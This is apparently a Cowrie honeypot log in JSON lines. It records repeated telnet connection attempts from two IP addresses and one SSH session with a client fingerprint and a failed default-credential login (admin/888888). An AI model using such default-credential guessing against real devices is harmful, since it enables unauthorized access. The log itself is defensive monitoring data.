{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58210,"dst_ip":"159.203.135.109","dst_port":23,"session":"5682d1ddb39e","protocol":"telnet","message":"New connection: 137.220.54.231:58210 (159.203.135.109:23) [session: 5682d1ddb39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:47.055792Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58224,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a64f83a8fab","protocol":"telnet","message":"New connection: 137.220.54.231:58224 (159.203.135.109:23) [session: 9a64f83a8fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:47.070087Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41982,"dst_ip":"159.203.135.109","dst_port":23,"session":"6faf5ca79e9c","protocol":"telnet","message":"New connection: 216.137.181.119:41982 (159.203.135.109:23) [session: 6faf5ca79e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:47.555545Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58234,"dst_ip":"159.203.135.109","dst_port":23,"session":"92bfad8aa9c6","protocol":"telnet","message":"New connection: 137.220.54.231:58234 (159.203.135.109:23) [session: 92bfad8aa9c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:47.970918Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58236,"dst_ip":"159.203.135.109","dst_port":23,"session":"935d4d11d208","protocol":"telnet","message":"New connection: 137.220.54.231:58236 (159.203.135.109:23) [session: 935d4d11d208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:48.164201Z"}
{"eventid":"cowrie.session.closed","duration":31.163692712783813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:48.271837Z","src_ip":"137.220.54.231","session":"12e0293339a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58242,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf795c87199a","protocol":"telnet","message":"New connection: 137.220.54.231:58242 (159.203.135.109:23) [session: cf795c87199a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:49.043155Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58250,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6d918d6acb","protocol":"telnet","message":"New connection: 137.220.54.231:58250 (159.203.135.109:23) [session: da6d918d6acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:50.033096Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58258,"dst_ip":"159.203.135.109","dst_port":23,"session":"7110aa7354a8","protocol":"telnet","message":"New connection: 137.220.54.231:58258 (159.203.135.109:23) [session: 7110aa7354a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:50.107025Z"}
{"eventid":"cowrie.session.closed","duration":30.829949617385864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:50.251863Z","src_ip":"216.137.181.119","session":"0ef42aac8229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.385322332382202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:50.533594Z","src_ip":"137.220.54.231","session":"efebc61ea636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":44672,"dst_ip":"159.203.135.109","dst_port":23,"session":"331c614ea02d","protocol":"telnet","message":"New connection: 216.137.181.119:44672 (159.203.135.109:23) [session: 331c614ea02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:50.540201Z"}
{"eventid":"cowrie.session.closed","duration":30.7606041431427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:51.073933Z","src_ip":"137.220.54.231","session":"382a41df9e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":53992,"dst_ip":"159.203.135.109","dst_port":23,"session":"c23108d0d1ca","protocol":"telnet","message":"New connection: 137.220.54.231:53992 (159.203.135.109:23) [session: c23108d0d1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:51.178746Z"}
{"eventid":"cowrie.session.closed","duration":30.551453590393066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:53.118177Z","src_ip":"216.137.181.119","session":"b6f926ed8e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093572854995728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:53.318686Z","src_ip":"137.220.54.231","session":"ed5d1928be86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":53998,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9bffd5bb86f","protocol":"telnet","message":"New connection: 137.220.54.231:53998 (159.203.135.109:23) [session: b9bffd5bb86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:53.361622Z"}
{"eventid":"cowrie.session.closed","duration":30.43384885787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:54.024169Z","src_ip":"137.220.54.231","session":"3a6f3b126f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54000,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5210c988942","protocol":"telnet","message":"New connection: 137.220.54.231:54000 (159.203.135.109:23) [session: a5210c988942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:54.620855Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54006,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa8c746d0c21","protocol":"telnet","message":"New connection: 137.220.54.231:54006 (159.203.135.109:23) [session: fa8c746d0c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:55.362585Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54010,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3f15b99fc3c","protocol":"telnet","message":"New connection: 137.220.54.231:54010 (159.203.135.109:23) [session: d3f15b99fc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:55.606085Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54022,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20bd3f7d439","protocol":"telnet","message":"New connection: 137.220.54.231:54022 (159.203.135.109:23) [session: c20bd3f7d439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:57.146573Z"}
{"eventid":"cowrie.session.closed","duration":30.95373249053955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:57.336563Z","src_ip":"216.137.181.119","session":"95de4fa51f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":50648,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0229baa4ff9","protocol":"telnet","message":"New connection: 216.137.181.119:50648 (159.203.135.109:23) [session: a0229baa4ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:57.357491Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":50724,"dst_ip":"159.203.135.109","dst_port":23,"session":"842e25cb4b5c","protocol":"telnet","message":"New connection: 216.137.181.119:50724 (159.203.135.109:23) [session: 842e25cb4b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:57.432695Z"}
{"eventid":"cowrie.session.closed","duration":30.993061304092407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:57.441897Z","src_ip":"216.137.181.119","session":"f752723c5677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54024,"dst_ip":"159.203.135.109","dst_port":23,"session":"434dba79a3d6","protocol":"telnet","message":"New connection: 137.220.54.231:54024 (159.203.135.109:23) [session: 434dba79a3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:57.494265Z"}
{"eventid":"cowrie.session.closed","duration":30.837085008621216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:59.360866Z","src_ip":"216.137.181.119","session":"db49af638d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943510055541992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:00.415798Z","src_ip":"216.137.181.119","session":"67cad1cc900c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47047448158264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:01.459043Z","src_ip":"216.137.181.119","session":"f66c45b4d8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":37600,"dst_ip":"159.203.135.109","dst_port":23,"session":"29cb96fa8dc7","protocol":"telnet","message":"New connection: 137.220.54.231:37600 (159.203.135.109:23) [session: 29cb96fa8dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:01.846107Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":37606,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7e6816be8f7","protocol":"telnet","message":"New connection: 137.220.54.231:37606 (159.203.135.109:23) [session: c7e6816be8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:01.981843Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":37610,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd25791c329e","protocol":"telnet","message":"New connection: 137.220.54.231:37610 (159.203.135.109:23) [session: dd25791c329e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:02.404637Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":37624,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d388708013","protocol":"telnet","message":"New connection: 137.220.54.231:37624 (159.203.135.109:23) [session: 44d388708013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:03.734995Z"}
{"eventid":"cowrie.session.closed","duration":30.65486764907837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:04.130474Z","src_ip":"137.220.54.231","session":"44e071e418f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70803737640381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:04.322254Z","src_ip":"216.137.181.119","session":"49d38c740ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861689567565918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:05.243650Z","src_ip":"216.137.181.119","session":"fb9e64333261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075594663619995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:05.383464Z","src_ip":"216.137.181.119","session":"ca1b1dbb8013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431079864501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:06.378982Z","src_ip":"216.137.181.119","session":"7ac56e2895bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91068935394287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:07.405670Z","src_ip":"216.137.181.119","session":"7698afcb193d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57278,"dst_ip":"159.203.135.109","dst_port":22,"session":"06ac8789a285","protocol":"ssh","message":"New connection: 159.203.92.129:57278 (159.203.135.109:22) [session: 06ac8789a285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:08.025741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:08.032592Z","src_ip":"159.203.92.129","session":"06ac8789a285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:08.039148Z","src_ip":"159.203.92.129","session":"06ac8789a285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.47108221054077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:08.048542Z","src_ip":"137.220.54.231","session":"d8ff18013cb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"888888","message":"login attempt [admin/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:08.114789Z","src_ip":"159.203.92.129","session":"06ac8789a285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":37634,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec205b63b871","protocol":"telnet","message":"New connection: 137.220.54.231:37634 (159.203.135.109:23) [session: ec205b63b871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:09.080333Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:09.128191Z","src_ip":"159.203.92.129","session":"06ac8789a285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":37640,"dst_ip":"159.203.135.109","dst_port":23,"session":"7accbc1bdeaf","protocol":"telnet","message":"New connection: 137.220.54.231:37640 (159.203.135.109:23) [session: 7accbc1bdeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:09.825171Z"}
{"eventid":"cowrie.session.closed","duration":30.91751003265381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:10.074395Z","src_ip":"137.220.54.231","session":"65aff54e5ad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":37644,"dst_ip":"159.203.135.109","dst_port":23,"session":"89ac9ac25b47","protocol":"telnet","message":"New connection: 137.220.54.231:37644 (159.203.135.109:23) [session: 89ac9ac25b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:10.207659Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35646,"dst_ip":"159.203.135.109","dst_port":23,"session":"3788dea4e9a9","protocol":"telnet","message":"New connection: 137.220.54.231:35646 (159.203.135.109:23) [session: 3788dea4e9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:11.432770Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35648,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c1858591c0","protocol":"telnet","message":"New connection: 137.220.54.231:35648 (159.203.135.109:23) [session: 50c1858591c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:12.081065Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35676,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d8f87e18cc3","protocol":"telnet","message":"New connection: 137.220.54.231:35676 (159.203.135.109:23) [session: 9d8f87e18cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:12.702320Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35684,"dst_ip":"159.203.135.109","dst_port":23,"session":"00da5c5aa458","protocol":"telnet","message":"New connection: 137.220.54.231:35684 (159.203.135.109:23) [session: 00da5c5aa458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:13.044867Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7a4b4317eab","protocol":"telnet","message":"New connection: 137.220.54.231:35660 (159.203.135.109:23) [session: d7a4b4317eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:13.688810Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35688,"dst_ip":"159.203.135.109","dst_port":23,"session":"f725a3c313dc","protocol":"telnet","message":"New connection: 137.220.54.231:35688 (159.203.135.109:23) [session: f725a3c313dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:15.528708Z"}
{"eventid":"cowrie.session.closed","duration":31.68146324157715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:15.871271Z","src_ip":"137.220.54.231","session":"b34aad2ee141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":36236,"dst_ip":"159.203.135.109","dst_port":23,"session":"745718ae086d","protocol":"telnet","message":"New connection: 216.137.181.119:36236 (159.203.135.109:23) [session: 745718ae086d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:16.396972Z"}
{"eventid":"cowrie.session.closed","duration":31.000125885009766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:17.109055Z","src_ip":"137.220.54.231","session":"676b9fd4ec8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e0217097a1","protocol":"telnet","message":"New connection: 137.220.54.231:35704 (159.203.135.109:23) [session: d8e0217097a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:17.348190Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":36712,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c57c0ad0b20","protocol":"telnet","message":"New connection: 216.137.181.119:36712 (159.203.135.109:23) [session: 6c57c0ad0b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:17.362806Z"}
{"eventid":"cowrie.session.closed","duration":30.07640552520752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:18.047192Z","src_ip":"137.220.54.231","session":"92bfad8aa9c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997814416885376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:18.053503Z","src_ip":"137.220.54.231","session":"5682d1ddb39e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00669550895691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:18.076666Z","src_ip":"137.220.54.231","session":"9a64f83a8fab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809940814971924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:18.365972Z","src_ip":"216.137.181.119","session":"6faf5ca79e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":35708,"dst_ip":"159.203.135.109","dst_port":23,"session":"871028824321","protocol":"telnet","message":"New connection: 137.220.54.231:35708 (159.203.135.109:23) [session: 871028824321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:18.558132Z"}
{"eventid":"cowrie.session.closed","duration":31.633073568344116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:19.797144Z","src_ip":"137.220.54.231","session":"935d4d11d208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.030651807785034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:20.073676Z","src_ip":"137.220.54.231","session":"cf795c87199a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":39326,"dst_ip":"159.203.135.109","dst_port":23,"session":"70943b4d23eb","protocol":"telnet","message":"New connection: 216.137.181.119:39326 (159.203.135.109:23) [session: 70943b4d23eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:20.637329Z"}
{"eventid":"cowrie.session.closed","duration":31.094489336013794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:21.127481Z","src_ip":"137.220.54.231","session":"da6d918d6acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755613327026367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:21.295670Z","src_ip":"216.137.181.119","session":"331c614ea02d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31962823867798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:21.426559Z","src_ip":"137.220.54.231","session":"7110aa7354a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":40032,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8597b956ef","protocol":"telnet","message":"New connection: 216.137.181.119:40032 (159.203.135.109:23) [session: 8a8597b956ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:21.839689Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":46418,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9261706192b","protocol":"telnet","message":"New connection: 137.220.54.231:46418 (159.203.135.109:23) [session: d9261706192b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:22.072847Z"}
{"eventid":"cowrie.session.closed","duration":31.203371286392212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:22.382010Z","src_ip":"137.220.54.231","session":"c23108d0d1ca","protocol":"telnet"}
